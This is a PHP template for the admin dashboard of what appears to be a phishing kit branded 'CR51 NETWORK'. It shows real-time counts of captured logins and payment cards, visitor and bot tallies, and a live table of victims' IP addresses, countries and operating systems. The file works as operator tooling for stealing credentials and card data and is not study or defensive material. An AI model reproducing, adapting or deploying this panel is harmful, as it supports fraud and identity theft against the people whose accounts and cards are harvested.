<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <title>CR51 NETWORK - Admin Panel</title>
    <link rel="stylesheet" href="<?= base_url() ?>CR51/Assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i">
    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css'>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css">
    <link rel="stylesheet" href="<?= base_url() ?>CR51/Assets/css/ready.css">
    <link rel="stylesheet" href="<?= base_url() ?>CR51/Assets/css/demo.css">
    <style>
        .img-modal {
            width: 100%;
            height: 100%;
        }
    </style>
</head>

<body>
    <script type="text/javascript">
        setInterval(function() {
            fetch('<?= base_url() ?>panel/json')
                .then(r => r.json())
                .then(data => {
                    console.log(data)
                    let logaccount = data.logaccount
                    let logcard = data.logcard
                    let logclick = data.logclick
                    let logrobot = data.logrobot

                    document.getElementById("logaccount").innerHTML = logaccount
                    document.getElementById("logcard").innerHTML = logcard
                    document.getElementById("logclick").innerHTML = logclick
                    document.getElementById("logrobot").innerHTML = logrobot
                });

            fetch('<?= base_url() ?>panel/logclick')
                .then(r => r.text())
                .then(data => {
                    console.log(data)
                    document.getElementById("tr").innerHTML = data
                })
        }, 1000);
    </script>
    <?php echo view('panel/menu'); ?>
    <div class="main-panel">
        <div class="content">
            <div class="container-fluid">
                <h4 class="page-title">Dashboard
                    <form role="form" action="/panel/update" method="POST" class="form login">
                        <input type="password" name="resetlog" class="form-control" value="resetlog" hidden="">
                        <button class="btn btn-danger btn-xs" name="gasreset">Reset Log</button>
                    </form>
                </h4>
                <div class="row">
                    <?php if (_panel('VISITOR') == 'on') { ?>
                        <div class="col-md-3">
                            <div class="card card-stats">
                                <div class="card-body">
                                    <div class="row">
                                        <div class="col-5">
                                            <div class="icon-big text-center">
                                                <i class="la la-eye text-info"></i>
                                            </div>
                                        </div>
                                        <div class="col-7 d-flex align-items-center">
                                            <div class="numbers">
                                                <p class="card-category">VISITOR</p>
                                                <h4 class="card-title" id="logclick"></h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php } ?>
                    <?php if (_panel('LOGIN') == 'on') { ?>
                        <div class="col-md-3">
                            <div class="card card-stats card-warning">
                                <div class="card-body ">
                                    <div class="row">
                                        <div class="col-5">
                                            <div class="icon-big text-center">
                                                <i class="la la-user"></i>
                                            </div>
                                        </div>
                                        <div class="col-7 d-flex align-items-center">
                                            <div class="numbers">
                                                <p class="card-category">Login</p>
                                                <h4 class="card-title" id="logaccount"></h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php } ?>
                    <?php if (_panel('CARD') == 'on') { ?>
                        <div class="col-md-3">
                            <div class="card card-stats card-success">
                                <div class="card-body ">
                                    <div class="row">
                                        <div class="col-5">
                                            <div class="icon-big text-center">
                                                <i class="la la-credit-card"></i>
                                            </div>
                                        </div>
                                        <div class="col-7 d-flex align-items-center">
                                            <div class="numbers">
                                                <p class="card-category">Card</p>
                                                <h4 class="card-title" id="logcard">
                                                </h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php } ?>
                    <?php if (_panel('BOT') == 'on') { ?>
                        <div class="col-md-3">
                            <div class="card card-stats card-danger">
                                <div class="card-body">
                                    <div class="row">
                                        <div class="col-5">
                                            <div class="icon-big text-center">
                                                <i class="la la-user-times"></i>
                                            </div>
                                        </div>
                                        <div class="col-7 d-flex align-items-center">
                                            <div class="numbers">
                                                <p class="card-category">BOT</p>
                                                <h4 class="card-title" id="logrobot"></h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php } ?>
                    <div class="col-md-12">
                        <div class="card">
                            <div class="card-header">
                                <div class="card-title">Visitor</div>
                            </div>
                            <div class="card-body">
                                <div class="card-sub">
                                    This page is realtime, if you not refresh.
                                </div>
                                <table class="table mt-3">
                                    <thead>
                                        <tr>
                                            <th scope="col">Flag</th>
                                            <th scope="col">Ip Address</th>
                                            <th scope="col">Country</th>
                                            <th scope="col">OS</th>
                                            <th scope="col">Type</th>
                                            <th scope="col">Time</th>
                                        </tr>
                                    </thead>
                                    <tbody id="tr">
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php echo view('panel/footer'); ?>
</body>
<script src="<?= base_url() ?>CR51/Assets/js/core/jquery.3.2.1.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/core/popper.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/core/bootstrap.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/chartist/chartist.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/chartist/plugin/chartist-plugin-tooltip.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/bootstrap-toggle/bootstrap-toggle.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-mapael/jquery.mapael.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-mapael/maps/world_countries.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/chart-circle/circles.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/plugin/jquery-scrollbar/jquery.scrollbar.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/ready.min.js"></script>
<script src="<?= base_url() ?>CR51/Assets/js/demo.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js"></script>
<?php if (@$_SESSION['sukses']) { ?>
    <script>
        <?php echo $_SESSION['sukses']; ?>
    </script>
<?php unset($_SESSION['sukses']);
} ?>

</html>